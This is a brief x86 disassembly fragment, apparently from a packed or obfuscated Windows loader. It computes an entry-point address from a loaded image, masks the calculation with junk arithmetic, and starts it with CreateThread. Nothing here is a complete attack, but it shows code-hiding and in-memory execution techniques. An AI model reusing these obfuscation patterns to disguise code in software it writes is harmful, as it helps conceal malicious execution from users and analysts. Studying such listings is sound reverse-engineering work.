jmp 0x41384d
mov eax, dword [ebp - 0xacfe8]
mov ecx, dword [ebp - 0xacfe4]
mov ecx, dword [ecx + 0x28]
add eax, 0x63c82110
add eax, ecx
sub eax, 0x63c82110
xor ecx, ecx
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, eax
mov eax, dword [ebp - 0xacf74]
mov dword [eax], ecx
mov eax, dword [ebp - 0xacf7c]
mov dword [ebp - 0xad000], 0x89267679
jmp 0x41384d
jmp 0x40e75c